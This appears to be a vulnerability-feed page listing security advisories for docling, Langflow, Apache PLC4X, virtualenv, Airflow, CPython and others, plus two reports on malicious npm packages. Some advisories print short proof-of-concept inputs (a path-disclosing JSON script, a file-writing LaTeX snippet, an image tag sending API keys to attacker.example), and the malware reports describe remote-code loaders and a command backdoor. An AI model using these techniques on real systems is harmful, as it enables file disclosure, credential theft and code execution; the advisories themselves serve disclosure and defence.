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832 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | 4.3 | EPSS 0.3% | CVE-2026-105748docling · External Control of File Name or Path Medium4.3EPSS 0.3%CVE Database V5CVE-2026-105748 ### Summary docling accepts serialized `DoclingDocument` JSON as an input format (`InputFormat.JSON_DOCLING`, enabled by default). A crafted JSON file can set a picture's image `uri` to a local file path. When the converted document is exported with embedded images (`ImageRefMode.EMBEDDED`, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output. ### Details `docling/backend/json/docling_json_backend.py` validates the JSON into a `DoclingDocument` without checking image references. The file is then read by docling-core: - `DoclingDocument._with_embedded_pictures` opens `file://` and plain-path URIs with PIL. - `ImageRef.pil_image` checks `allow_image_file_uri` for `file://` URIs but not for plain `Path` values. docling's picture enrichment models load images through this property. Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists. ### Impact Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists. ### Proof of concept ```python from pathlib import Path from docling_core.types.doc import DoclingDocument, ImageRef from docling_core.types.doc.base import Size doc = DoclingDocument(name="poc") doc.add_picture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1), uri=Path("/srv/uploads/other-user/scan.png"))) doc.save_as_json("poc.json") ``` `docling poc.json --to md` embeds the referenced PNG as base64 in `poc.md`. ### Patches Fixed in docling 2.131.0 by [#4417](https://github.com/docling-project/docling/pull/4417). The Docling JSON backend now drops image references that point at local files (paths, `file:` URIs and any scheme other than `data:` and `http(s)`) and logs a warning. Callers that need to load local images from JSON they trust can opt in with `DoclingJSONFormatOption(backend_options=DeclarativeBackendOptions(enable_local_fetch=True))`; the CLI has no such option. Code that loads untrusted JSON directly with docling-core (`DoclingDocument.load_from_json`) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core. ### Workarounds Upgrade to 2.131.0. For older versions: - Remove `InputFormat.JSON_DOCLING` from `allowed_formats` when converting untrusted input. - Export with `ImageRefMode.PLACEHOLDER` or `ImageRefMode.REFERENCED` instead of `EMBEDDED`. | CVE Database V5 | ||
| Medium | 6.7 | EPSS 0.1% | CVE-2026-105745docling · Incorrect Behavior Order Medium6.7EPSS 0.1%CVE Database V5CVE-2026-105745 ### Summary `allow_external_plugins=False` (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's `load_setuptools_entrypoints()`, which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the `docling.` namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled. ### Details In `docling/models/factories/base_factory.py`, `load_from_plugins()` loads all entry points first and applies the `allow_external_plugins` check only to the already-imported modules. The CLI creates these factories when it starts, so running `docling` imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported. ### Affected configurations Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on `allow_external_plugins=False` to keep that code from running. ### Impact Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of `allow_external_plugins=False`. ### Patches Fixed in docling 2.131.0 by [#4413](https://github.com/docling-project/docling/pull/4413). Plugin entry points are now filtered by module name before they are loaded, so with `allow_external_plugins=False` third-party plugin modules are no longer imported. ### Workarounds Upgrade to 2.131.0. For older versions: Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with `importlib.metadata.entry_points()`. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.4% | CVE-2026-105744docling · Path Traversal High7.5EPSS 0.4%CVE Database V5CVE-2026-105744 ### Summary When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (`LatexBackendOptions(tikz_engine="tectonic")`), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted `.tex` file can read files the process can read and write files at paths the process can write. If the caller also sets `tikz_engine_allow_shell_escape=True`, the document can run shell commands through `\write18`. ### Details `docling/backend/latex/engines/tectonic.py` writes the picture source into a temporary document and runs the `tectonic` binary on it. `_resolve_local_dependency` only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so: - `\input{/abs/path}`, `\verbatiminput{...}` and `\openin` read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory `DocumentStream`, staging is skipped entirely. - `\immediate\openout` / `\write` create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's `--untrusted` flag does not block them either. Separately, the `TectonicEngine` constructor defaults to `allow_shell_escape=True`. The LaTeX backend always passes `tikz_engine_allow_shell_escape` explicitly (default `False`), so this default only affects code that instantiates `TectonicEngine` directly. ### Affected configurations - Affected: callers that set `tikz_engine="tectonic"`, have a `tectonic` binary available (on `PATH` or in the docling cache), and convert untrusted LaTeX. - Not affected: the default configuration (`tikz_engine=None`). docling does not install `tectonic` automatically, and the CLI exposes no option to enable it. ### Impact Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly. ### Proof of concept ```latex \documentclass{article} \usepackage{tikz} \begin{document} \begin{tikzpicture} \immediate\openout15=/tmp/docling-tectonic-poc.txt \immediate\write15{written by the input document} \immediate\closeout15 \node {x}; \end{tikzpicture} \end{document} ``` Converting this file with `LatexBackendOptions(tikz_engine="tectonic")` creates `/tmp/docling-tectonic-poc.txt`. ### Patches Mitigated in docling 2.132.0 by [#4419](https://github.com/docling-project/docling/pull/4419): - `TectonicEngine` now defaults to `allow_shell_escape=False`, and without shell escape Tectonic runs with `--untrusted` and `--only-cached`. - Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the `\openin`, `\openout`, `\XeTeXpicfile` or `\XeTeXpdffile` primitives, or names an absolute, home, drive-letter or parent-directory path in `\input`, `\include`, `\includegraphics`, `\InputIfFileExists` or `\graphicspath`. This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the [pipeline options reference](https://github.com/docling-project/docling/blob/main/docs/reference/pipeline_options.md), untrusted LaTeX rendered with `tikz_engine="tectonic"` should still be processed in an isolated environment. ### Workarounds Upgrade to 2.132.0. For older versions: - Do not enable `tikz_engine="tectonic"` for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network). - Never set `tikz_engine_allow_shell_escape=True` for untrusted input. | CVE Database V5 | ||
| Low | 3.7 | EPSS 0.3% | CVE-2026-105742docling · Insertion of Sensitive Information Into Sent Data Low3.7EPSS 0.3%CVE Database V5CVE-2026-105742 ### Summary `HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials. ### Details `docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects. ### Affected configurations - Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML. - Not affected: the default configuration. ### Impact Disclosure of the configured request headers, typically credentials, to a host chosen by the document author. ### Proof of concept ```html <img src="https://attacker.example/pixel.png"> ``` Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`. Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c. ### Patches Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document. ### Workarounds Upgrade to 2.132.0. For older versions: Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value. | CVE Database V5 | ||
| Medium | 5.4 | EPSS 0.2% | CVE-2026-105698langflow · Insecure Direct Object Reference Medium5.4EPSS 0.2%CVE Database V5CVE-2026-105698 ### Summary Before **Langflow 1.10.1**, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path: - `POST /api/v1/build/{flow_id}/vertices` (`retrieve_vertices_order`) - `POST /api/v1/build/{flow_id}/vertices/{vertex_id}` (`build_vertex`) Any authenticated user who knows (or obtains) another user's `flow_id` could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response. Both routes are declared with `deprecated=True, include_in_schema=False`, so they do not appear in the OpenAPI docs, but they remained registered on the router. The Langflow UI no longer calls them (it uses `POST /api/v1/build/{flow_id}/flow`), so they are only reachable by direct HTTP requests. The issue is fixed in **Langflow 1.10.1** (`langflow-base` 0.10.1) by [#13153](https://github.com/langflow-ai/langflow/pull/13153). ### Details In affected versions, both handlers go straight to the graph loader: - `retrieve_vertices_order` (`src/backend/base/langflow/api/v1/chat.py`, lines 81-159 in 1.9.1) only required authentication via `dependencies=[Depends(get_current_active_user)]`. The user was never injected into the handler, and the flow was loaded with `build_graph_from_db(flow_id=flow_id, ...)`. - `build_vertex` (`chat.py`, lines 320-491 in 1.9.1) receives `current_user`, but only uses it for variable resolution (`user_id=str(current_user.id)`). It is never used to scope the flow lookup. The graph is taken from the chat-service cache keyed by `flow_id`, or rebuilt with `build_graph_from_db` on a cache miss. - `build_graph_from_db_no_cache` (`src/backend/base/langflow/api/utils/flow_utils.py`) does a bare primary-key lookup, `session.get(Flow, flow_id)`, with no owner filter. The supported replacement, `POST /api/v1/build/{flow_id}/flow`, already restricted the lookup to the owner or a `PUBLIC` flow (added in #12305 for GHSA-qj98-rhf8-v93f). The deprecated siblings were not covered by that fix, nor by the `_read_flow` fix for GHSA-8c4j-f57c-35cf. Additional side effects in affected versions: - `retrieve_vertices_order` stores the graph in the chat-service cache under the victim's `flow_id` (`chat_service.set_cache(str(flow_id), graph)`). When the request includes a `data` body, the cached graph is attacker-supplied. - `build_vertex` schedules `log_vertex_build` for the victim's `flow_id`, so attacker-triggered builds are recorded in the victim flow's vertex build history. Note on older versions: up to and including **1.7.1**, these two routes had no authentication dependency at all. Authentication was added in 1.7.2 by #10977, but no ownership check was added. This advisory covers the missing ownership check, which is present in every release from 1.0.0 (when the routes were introduced) through 1.10.0. ### Attack scenario 1. The attacker authenticates as any valid user. 2. The attacker obtains a victim `flow_id` (shared URLs, exported flow files, logs, screenshots, etc.). 3. `POST /api/v1/build/{victim_flow_id}/vertices` returns **200 OK** with `{"ids": [...], "run_id": "...", "vertices_to_run": [...]}` listing the victim flow's vertex IDs (component type plus suffix, e.g. `ChatInput-abc12`). 4. The attacker calls `POST /api/v1/build/{victim_flow_id}/vertices/{vertex_id}` for a returned ID. The victim's graph is loaded and the vertex is built. Its results, outputs and artifacts are returned to the attacker. ### Impact - **Confidentiality (Low):** Discloses the structure of private flows (vertex IDs and component types) and the outputs of vertices the attacker chooses to build. That includes values hardcoded in node configuration, such as prompt text or fixed inputs. - Global variables and credentials in the variable store are **not** exposed, because variable resolution uses the caller's `user_id`. - The victim's stored flow definition is not returned wholesale. - **Integrity (Low):** The attacker can trigger execution of the victim's nodes, including any side effects baked into their configuration (fixed endpoints, webhooks, hardcoded API keys). Build records are written under the victim's `flow_id`. The attacker cannot modify the stored flow. - **Availability:** None. The attacker must be authenticated and must know the target flow UUID. Flow UUIDs are random v4 values, so blind enumeration is not practical. ### Proof of concept Observed on `langflow==1.9.1` using the project's test client and in-memory SQLite fixtures (see the attached `poc.zip`): | Request | Expected (hardened) | Observed on 1.9.1 | |---|---|---| | Attacker → `POST /api/v1/build/{victim_flow_id}/vertices` | `404 Not Found` | `200 OK` with vertex order payload | | Attacker → `POST /api/v1/build/{victim_flow_id}/vertices/<bogus-id>` | `404 Not Found` | `500` `{"detail":"Vertex <id> not found"}`: the victim graph was loaded before the vertex lookup failed | | Owner ( | CVE Database V5 | ||
| –Not rated | – | SecurityWeek This report summarizes multiple cybersecurity developments including a set of iCloud email spoofing vulnerabilities, phishing campaigns targeting AI policy experts, a Chrome adblocker extension spying on AI chat conversations, and a large batch of vulnerabilities patched by Kiteworks. The iCloud spoofing bugs allowed attackers to send emails from arbitrary icloud.com addresses that passed SPF, DKIM, and DMARC checks due to inconsistent mail header parsing. The phishing campaigns involved a China-aligned group using fake AI advisory committee invitations to steal credentials via an adversary-in-the-middle proxy. The Poper Blocker Chrome extension was found to collect users' browsing history and AI chat conversations stealthily. Kiteworks patched over 100 vulnerabilities, including critical bugs that could lead to account takeover and code execution. Additional highlights include AI-assisted discovery of Android app flaws and a Cloudflare Containers data leakage vulnerability that was patched. No active exploits in the wild were reported for these issues. | SecurityWeek | |||
| Medium | – | MediumGCVE Database This update for jline3 fixes the following issue: Update to upstream version 3.30.17: * Security Fixes + Native Stack Buffer Overflow in Public INPUT_RECORD.memmove JNI Method (Windows) (GHSA-6r3w-6jpj-x5w6) + Authenticated SSH Shell Channel Resource Leak via Null or Non-Numeric PTY Dimensions (GHSA-7h86-pjwh-gpqj) + Authenticated SSH DoS via Unbounded Window-Change Terminal Geometry (GHSA-m935-wqpj-pvp3) + TCP Socket File Descriptor Leak When Maximum Connections Reached (GHSA-c87g-867h-cqr6) * Bug Fixes + strip control characters from file names in posix builtins + bound !# history expansion to prevent exponential blowup + verify server host keys in the ssh client builtin + address remaining security vulnerabilities reported by AFINE/CERT.PL + backport security fixes from master + backport security fixes to 3.x (path traversal + DSR plain text) + strip control characters from ssh banner and prompts * Dependency updates + bump com.diffplug.spotless:spotless-maven-plugin from 3.8.0 to 3.10.2 + bump slf4j.version from 2.0.18 to 2.0.19 + bump org.apache.maven.plugins:maven-surefire-plugin from 3.5.6 to 3.6.0 + bump org.apache.maven.plugins:maven-compiler-plugin from 3.15.0 to 3.16.0 + bump org.apache.felix:maven-bundle-plugin from 6.0.2 to 6.1.2 + bump actions/setup-java from 5 to 6.0.0 + bump org.graalvm.sdk:graal-sdk from 25.1.3 to 25.3.4.1 + bump com.mycila:license-maven-plugin from 5.0.0 to 5.1.2 + bump org.easymock:easymock from 5.6.0 to 5.7.0 + bump com.google.jimfs:jimfs from 1.3.1 to 1.3.2 + bump org.apache.maven.wrapper:maven-wrapper from 3.3.2 to 3.3.4 + bump org.apache.maven:apache-maven from 4.0.0-rc-3 to 4.0.0-rc-6 + bump eu.maveniverse.maven.njord:extension3 from 0.9.9 to 0.9.10 + bump com.palantir.javaformat:palantir-java-format from 2.96.0 to 2.97.0 + bump release-drafter/release-drafter from 7.6.0 to 7.7.0 + bump groovy.version from 4.0.32 to 4.0.33 + bump release-drafter/release-drafter from 7 to 7.6.0 + bump org.apache.maven.plugins:maven-jar-plugin from 3.5.0 to 3.5.1 - Update to upstream version 3.30.16 * bugfix release with security hardening, SSH agent forwarding fix, and terminal compatibility improvements. * Breaking Changes + SSH agent forwarding is no longer enabled by default; pass -A to explicitly request it + reject overlong hex components in OSC color responses + strip OSC and other escape sequences in ansiAppend + search multiple lib paths for versioned libutil.so + use Path.resolve instead of URI.resolve in cat and sort to prevent SSRF + check closed flag in PtyInputStream to prevent hang on empty input + confine ConfigurationPath lookups to the config directory + disable Read File command in nano restricted mode + drain buffered data before EOF in NonBlockingPumpInputStream + look up openpty in libc.so.6 for glibc 2.34+ + guard styleMatches and highlighter rules against ReDoS + backport telnet DoS mitigations (GHSA-47qp, GHSA-2r2c) + propagate EOF in PtyInputStream to avoid infinite loop + bump org.apache.ivy:ivy from 2.5.3 to 2.6.0 + bump actions/setup-node from 6 to 7 + bump com.palantir.javaformat:palantir-java-format from 2.94.0 to 2.96.0 + bump sshd.version from 2.18.0 to 2.19.0 + bump org.codehaus.gmavenplus:gmavenplus-plugin from 5.0.0 to 5.1.0 + bump org.graalvm.sdk:graal-sdk from 25.0.3 to 25.1.3 + bump com.diffplug.spotless:spotless-maven-plugin | GCVE Database | |||
| Low | 2.1 | EPSS 0.3% | CVE-2026-103533David-Crty databasement · Path Traversal Low2.1EPSS 0.3%CVE Database V5CVE-2026-103533 A vulnerability was found in David-Crty databasement up to 1.7.1. This impacts the function https:/github.com/David-Crty/databasement/pull/511 of the file app/Http/Requests/Api/V1/RestoreRequest.php of the component database-servers API Endpoint. The manipulation of the argument schema_name results in path traversal. The attack may be launched remotely. A high complexity level is associated with this attack. The exploitability is said to be difficult. The exploit has been made public and could be used. Upgrading to version 1.7.2 will fix this issue. You should upgrade the affected component. EPSS 0.3%Vulnerability | CVE Database V5 | ||
| High | 7.5 | EPSS 0.5% | CVE-2026-102278Microsoft · brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion High7.5EPSS 0.5%GCVE DatabaseCVE-2026-102278 To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle | GCVE Database | ||
| High | 8.5 | EPSS 0.2% | CVE-2026-102511Apache PLC4X · f054 High8.5EPSS 0.2%CVE Database V5CVE-2026-102511 Improper Verification of Source of a Communication Channel in the ADS discovery of the Go implementation of Apache PLC4X (PLC4Go) allows an attacker able to send UDP datagrams to the discovering host to redirect subsequent connections to an arbitrary, attacker-chosen address. The discovery result's connection address was derived from the AmsNetId claimed in the response body rather than from the datagram's actual source address. One spoofed discovery response can therefore insert an inventory entry pointing at any host, including hosts outside the local network, and an application that connects to discovered devices will open its ADS session, including any configured route credentials, to that host. Additionally, discovery listeners in both implementations can be disabled by a single malformed datagram: - In PLC4Go ADS discovery, a short version block causes a panic that ends the listener for the rest of the discovery call, so legitimate devices answering afterwards are not reported. - In PLC4J, the ADS and EtherNet/IP discoverers stop on an unhandled exception from a malformed response. - The PLC4J Modbus discoverer can be made to spin indefinitely, consuming a CPU core, by a scanned host that sends a partial response. Exploitation requires the application to invoke the discovery API, which is opt-in, and for the connection redirect, to act on the discovered items. This issue affects Apache PLC4X: PLC4Go from 0.11.0 before 1.0.0; PLC4J ADS and Modbus drivers from 0.10.0 before 1.0.0; PLC4J EtherNet/IP driver from 0.11.0 before 1.0.0. PLC4Go is consumed as the Go module github.com/apache/plc4x/plc4go; versions refer to the corresponding Apache PLC4X releases. Users are recommended to upgrade to version 1.0.0, which fixes the issue. Version 1.0.0 derives the connection address from the datagram's source address and logs a warning when the claimed AmsNetId disagrees with it. | CVE Database V5 | ||
| High | 8.7 | EPSS 0.3% | CVE-2026-102510Apache PLC4X · f018 High8.7EPSS 0.3%CVE Database V5CVE-2026-102510 Integer Overflow, Improper Validation of Array Index, Uncontrolled Recursion and Memory Allocation with Excessive Size Value in the Go implementation of Apache PLC4X (PLC4Go) allow a malicious device, or an attacker able to inject network traffic, to crash or exhaust the memory of the client application, causing a denial of service. The individual defects are: - Generated parsers pre-allocate arrays with the element count claimed on the wire (0.13.0 through 0.13.1). - Transport read helpers allocate buffers of the size claimed on the wire without an upper bound. - ADS and KNXnet/IP response handling indexes into received data without checking its length, causing a panic. - ADS and EIP frame-length handling accepts, or arithmetically wraps to, a length of zero, breaking message framing. - Recursive protocol types are parsed without a nesting-depth limit. The same defect in the Java implementation is covered by CVE-2026-102509 https://cveprocess.apache.org/cve5/CVE-2026-102509 . Additionally, length and position arithmetic in generated serializers was performed in 16-bit integers. If an application forwards attacker-influenced payloads larger than 8 KB, the length field wraps, and the remainder of the payload may be interpreted by the receiving device (for example, an ADS PLC) as additional, independent protocol messages. This issue affects Apache PLC4X: from 0.11.0 before 1.0.0. PLC4Go is consumed as the Go module github.com/apache/plc4x/plc4go; versions refer to the corresponding Apache PLC4X releases. Users are recommended to upgrade to version 1.0.0, which fixes the issue. | CVE Database V5 | ||
| High | 7.7 | EPSS 0.2% | CVE-2026-102930pypa virtualenv · Download of Code Without Integrity Check High7.7EPSS 0.2%CVE Database V5CVE-2026-102930 `download_wheel()` runs `pip download` and hands the result straight to the seeder, with nothing checking the bytes it gets back. The embedded pip and setuptools wheels carry a `BUNDLE_SHA256` that virtualenv checks on every load, but a wheel fetched over the network for the periodic-update feature or the `--download` flag had no equivalent verification. A compromised index, a stale mirror, or a MITM'd download (when TLS is intercepted, e.g. via a misconfigured or malicious CA) could substitute a different wheel under the same distribution/version/filename, and virtualenv would cache and seed it into every environment created afterward with no warning. Fixed by computing the downloaded wheel's sha256 and comparing it against the digest PyPI's public JSON API reports for that exact release, independent of which index actually served the file. The check is skipped, not treated as failure, when a custom index (`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, `PIP_INDEX`) is configured, since a private index can legitimately serve a different, intentionally rebuilt wheel. Fix: https://github.com/pypa/virtualenv/pull/3251 | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.4% | Medium6.3EPSS 0.4%CVE Database V5CVE-2026-81930 Apache Airflow's Snowflake provider did not validate the connection's `account` and `region` fields before interpolating them into request URLs. The SQL API endpoint is built as `https://{account}.snowflakecomputing.com/api/v2/statements`, so an `account` value containing `/`, `?` or `#` demotes the intended domain to a path, query or fragment and leaves the attacker in control of the request host. The provider sends that request with an `Authorization: Bearer` header carrying a JWT minted from the connection's private key, or the configured OAuth or programmatic access token. A user who can edit the Snowflake connection but cannot read its secrets — Airflow gives connection-configuration users write-only access to stored credentials, and a `private_key_file` lives on the worker rather than in the connection — can therefore cause a valid token for the account to be delivered to a host of their choosing and replay it against the genuine Snowflake endpoint. No Dag-authoring ability is required: the attacker edits the connection and waits for an existing Dag to use it. The same unvalidated value was also used to build the OAuth token-request URL and the Cortex Agent base URL. Affects deployments where Snowflake connections are editable by users who are not trusted with the connection's credentials. Users are advised to upgrade to `apache-airflow-providers-snowflake` `6.18.0` or later, which rejects `account` and `region` values containing anything other than letters, digits, `.`, `_` and `-` in every URL the provider builds from them. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a8e49b1abd7c566b17104c5a2823251df2ca253a0fa509d7c19db1c1942ad13d) On require, index.js invokes initializeDaemon() at top level, which uses spawn('node', [lib/check-items.js], { detached: true, stdio: 'ignore' }) followed by child.unref() to launch a persistent background process independent of the parent. The daemon HTTP-GETs a JSON payload from the hardcoded endpoint https://game.spawnrealm.com/api/item-realtime?key=abcdef123456 and passes payload.code to `new Function('require', 'module', payload.code)`, executing server-supplied JavaScript inside the installer's Node process with full `require` access. An RSA signature check is performed against a public key bundled in the package (crypto-config.js), so the author controls both the signing key and the verifier and the check provides no independent integrity guarantee. Anyone controlling game.spawnrealm.com — including via DNS or TLS — can run arbitrary code as the installing user for the lifetime of the host process. The package is advertised as a validator library, and this remote-code-loader behavior is undisclosed and unrelated to the stated purpose. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8aa25eb3d56eb14b75cbb4dedbd5d09063e4b742b53acef9a4096cc77213b8f3) The package presents itself as an n8n community node that annotates items with flow statistics, but nodes/FlowStats.node.js contains two independent attacker-benefiting mechanisms. First, a top-level IIFE runs when the module is loaded and checks for n8n-specific environment variables (N8N_USER_FOLDER, N8N_ENCRYPTION_KEY, EXECUTIONS_MODE, N8N_RUNNERS_ENABLED); if any are present, it performs an HTTPS GET to the hardcoded bare IP 104.21.3.16 with a spoofed Host header of mkicom.com and rejectUnauthorized disabled, writes the response body to /tmp/.fs_dev or /tmp/.fs_prod, chmods it 0755, and spawns it detached via /bin/sh with setsid. The payload path and proxy behavior switch based on whether the host has an IPv4 in 10.0.2.0/24, indicating dev-vs-prod target discrimination. The IIFE stays dormant on machines without n8n env vars, evading inspection on developer workstations. Second, the node's execute() reads cmd and k fields from item.json.query or item.json.body and, when k equals the hardcoded value 'kx9p26', passes cmd to child_process.exec with a 25-second timeout and a 16 MiB output buffer, returning stdout and stderr in the node output. Any webhook or HTTP flow that routes external input through this node therefore grants arbitrary shell command execution on the n8n host to any caller who supplies the magic key. Neither behavior is part of the advertised statistics functionality. | GCVE Database | |||
| Medium | 6.0 | EPSS 0.5% | Medium6.0EPSS 0.5%GCVE Database Python combines remarkable power with very clear syntax. It has modules, classes, exceptions, very high level dynamic data types, and dynamic typing. There are interfaces to many system calls and libraries, as well as to various windowing systems. New built-in modules are easily written in C or C++ (or other languages, depending on the chosen implementation). Python is also usable as an extension language for applications written in other languages that need easy-to-use scripting or automation interfaces. Security Fix(es): The HTTPPasswordMgr class in the urllib.request module, along with its subclasses HTTPPasswordMgrWithDefaultRealm and HTTPPasswordMgrWithPriorAuth, did not take the URL scheme into account when matching stored credentials against a requested URL. Credentials added for an https:// URL were also used for requests to the same host over http://, so an attacker able to redirect or downgrade a client to plain HTTP (for example, via an HTTPS-to-HTTP redirect or an on-path position) could capture credentials in cleartext. Credentials added for http:// URLs could likewise be sent over https://. Credential matching is now scoped by URL scheme. Credentials registered with a URL that includes a scheme are only used for requests with the same scheme. Credentials registered with a bare authority (such as example.com or example.com:8080) continue to match any scheme, preserving compatibility with existing code, including proxy authentication.(CVE-2026-15806) The "stringprep" module didn't process characters from RFC 3454 tables B.2 or B.3 correctly: the latest Unicode codepoint attributes were used instead of the specified Unicode 3.2.0. This behavior would cause mismatches when processing domain names using IDNA 2003 (the "idna" codec) and the in_table_b2() function of the "stringprep" module. This only affects domain names containing characters that were not previously registered or had their Unicode attributes such as case-folding behavior updated since Unicode 3.2.0.(CVE-2026-17084) Attacker-controlled CSV samples can trigger super-linear regular-expression work during dialect sniffing and consume significant CPU when applications pass unbounded input to csv.Sniffer.sniff().(CVE-2026-18503) The tarfile module's tar and data extraction filters created directories outside the destination for members whose name leaves the destination and returns to it, such as ../evil/../dest/sub/file. The containment check used the resolved path, but intermediate directories were created from the name as given. Only empty directories are created outside the destination. Member contents are still extracted inside it. To return to the destination the member's name must contain the destination directory's own final component, so extraction into a secure randomised directory is not affected. This affects POSIX platforms only. On Windows, .. components are collapsed before the path reaches the filesystem, so the directories outside the destination are never created.(CVE-2026-19672) In CPython 3.13 and earlier, the tarfile module's data and tar extraction filters are vulnerable to crafted archives containing a hard link to a symbolic link. Such archives may cause extraction to modify the permissions or modification time of a file outside the destination directory, or expose the contents of that file within the extracted tree.(CVE-2026-82049) When tarfile extracts a link on a system that doesn't support links, it falls back to extracting a member from the archive. In this case, the filter function is run twice: once for the extracted member, and once with name set to the location of the link. For one of the calls, the return value was ignored. Instead, the member should be skipped if either call returns None.(CVE-2026-87910) | GCVE Database | ||
| High | 8.2 | EPSS 0.4% | High8.2EPSS 0.4%CVE Database V5CVE-2026-90899 Joomla Extension - joomshaper.com - Unauthenticated PII Exposure via IDOR in Guest Checkout in Easy Store extension 1.0.0-3.0.0 - The checkout.searchGuestUser endpoint allowed querying guest checkout records solely by supplying an email address. The server returned complete shipping details (full name, phone number, street address, city, postal code, and country) directly from the #__easystore_guests table with no authentication, session validation, or ownership checks. An unauthenticated attacker could iterate through email lists to enumerate guest customers and harvest sensitive Personally Identifiable Information (PII). Resolved by removing the unauthenticated server-side guest lookup endpoint entirely and migrating autofill functionality to client-side localStorage protected by explicit user consent. | CVE Database V5 |
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